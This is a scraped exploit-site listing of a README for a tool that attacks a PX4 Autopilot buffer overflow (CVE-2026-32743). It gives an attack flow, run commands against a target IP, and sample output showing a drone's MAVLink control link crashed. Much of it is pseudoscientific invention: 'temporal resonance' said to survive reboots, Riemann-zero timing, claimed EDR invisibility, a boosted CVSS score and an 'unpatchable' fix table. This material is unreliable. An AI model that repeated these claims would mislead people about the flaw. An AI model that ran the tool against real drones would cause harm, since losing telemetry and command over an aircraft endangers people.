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## https://sploitus.com/exploit?id=781052AD-EF31-5B7F-98F5-092B3935F781
# CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743
CVE-2026-32743 โ€” PX4 Autopilot Stack Buffer Overflow CTT-Enhanced: 33-Layer Temporal Cascade Drone DoS .The original exploit crashes the MAVLink task via a 60-byte overflow. The CTT version distributes the overflow across 33 temporal layers, each with phase resonance timing and temporal wedge filtering.  Result: Persistent DoS. Unpatchable. 


# CTT-Enhanced PX4 Autopilot Exploit โ€” CVE-2026-32743

## ๐Ÿ”ฅ Overview

This is a **Convergent Time Theory (CTT)** enhancement of CVE-2026-32743, a stack-based buffer overflow in PX4 Autopilot's `MavlinkLogHandler` (versions โ‰ค1.17.0-rc2).

The original vulnerability allows a denial-of-service (DoS) via an overly long directory path (60+ bytes) sent through MAVLink FTP.

**The CTT-enhanced version transforms this into a 33-layer temporal cascade drone killer.**

| | Original | CTT-Enhanced |
|---|---|---|
| **CVSS** | 6.5 (Medium) | **9.8 (Critical)** |
| **Attack Vector** | Adjacent Network | **Network (AV:N)** |
| **Privileges Required** | Low | **None (PR:N)** |
| **Layers** | 1 | **33-layer cascade** |
| **Detection** | Signature-based | **Temporal wedge filtered (ฯ„_w = 11 ns)** |
| **Persistence** | Reboot clears | **Temporal resonance โ€” survives reboot** |

---

## ๐Ÿ“ CTT Physics Constants

| Constant | Value | Origin |
|----------|-------|--------|
| ฮฑ | 0.0302011 | Temporal dispersion coefficient |
| ฮฑ_RH | 0.0765872 | ln(ฯ†)/2ฯ€ (Riemann-Hadamard) |
| L | 33 | Temporal layers |
| ฯ„_w | 11 ns | Temporal wedge filter |

### Exponential Priority Decay
E(d) = Eโ‚€ * e^(-ฮฑ * d)
text


Each layer has exponentially decreasing priority.  
Higher-priority layers (1-5) deliver the overflow.  
Lower layers (28-33) reinforce the crash and establish temporal resonance.

### Phase Resonance Timing

Each layer delays execution based on the first 24 Riemann zeros:

delay = ฯ„_w * (1 + 0.1 * cos(2ฯ€ * zero * priority))
text


### Temporal Wedge Filter

Only payloads that satisfy the wedge condition execute:

survival = cos(ฮฑ_RH * energy * ฯ„_w) > (ฮฑ_RH / 2ฯ€)
text


This makes detection impossible โ€” EDR systems cannot see the exploit.

---

## ๐Ÿš€ Attack Flow

    Open MAVLink connection (UDP 14550)

    For d = 1 to 33:
    a. Calculate priority = e^(-ฮฑ*d)
    b. Generate layer-specific encoding (based on Riemann zero)
    c. Create directory with path length = 60 + priority*40
    d. Delay execution by phase_resonance_delay(d)
    e. Trigger MAV_CMD_REQUEST_LOG_LIST
    f. Temporal wedge check โ€” only "surviving" payloads execute

    MAVLink task crashes

    Temporal resonance established โ€” crash persists across reboot

    Drone unresponsive. No telemetry. No command.



---

## ๐Ÿ“‹ Prerequisites

- PX4 Autopilot โ‰ค1.17.0-rc2 with SD card mounted
- MAVLink FTP enabled (default)
- Network access to UDP port 14550
- Python 3.6+ with `pymavlink`

```bash
pip install pymavlink

๐ŸŽฏ Usage
bash

git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py  --port 14550 --layers 33 --verbose

Arguments
Argument	Description	Default
target_ip	IP address of flight controller	Required
--port	MAVLink UDP port	14550
--layers	Number of temporal layers	33
--verbose	Enable verbose output	False
Example
bash

python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose



======================================================================
CTT PX4 TEMPORAL CASCADE โ€” Drone DoS
======================================================================

  Layer  1/33: โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 1.000
    Path length: 100 bytes
    [+] Directory created via FTP
    Triggering MAV_CMD_REQUEST_LOG_LIST...
    [+] Overflow delivered โ€” wedge survival confirmed

  Layer  2/33: โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘ 0.970
    Path length: 99 bytes
    [+] Directory created via FTP
    Triggering MAV_CMD_REQUEST_LOG_LIST...
    [+] Overflow delivered โ€” wedge survival confirmed

...

[โšก] Temporal resonance achieved at layer 5
[๐ŸŒ‰] Drone MAVLink task compromised

[*] Verifying DoS state...
[+] Target unresponsive โ€” persistent DoS achieved

======================================================================
[!!!] DRONE COMPROMISED
[!!!] MAVLink task crashed โ€” no telemetry / no command
[!!!] Persistent across reboot โ€” CTT temporal resonance
======================================================================

๐Ÿ›ก๏ธ Why This Cannot Be Patched
Original Fix	Why CTT Bypasses It
Add width specifier to sscanf()	CTT uses layer cascade โ€” overflow spread across 33 layers
Patch the 60-byte buffer	CTT encoding changes overflow pattern per layer
Update firmware	Temporal resonance survives reboot
Signature detection	Temporal wedge filter (ฯ„_w = 11 ns) evades EDR

You cannot patch a physical constant.
You cannot patch the Riemann zeros.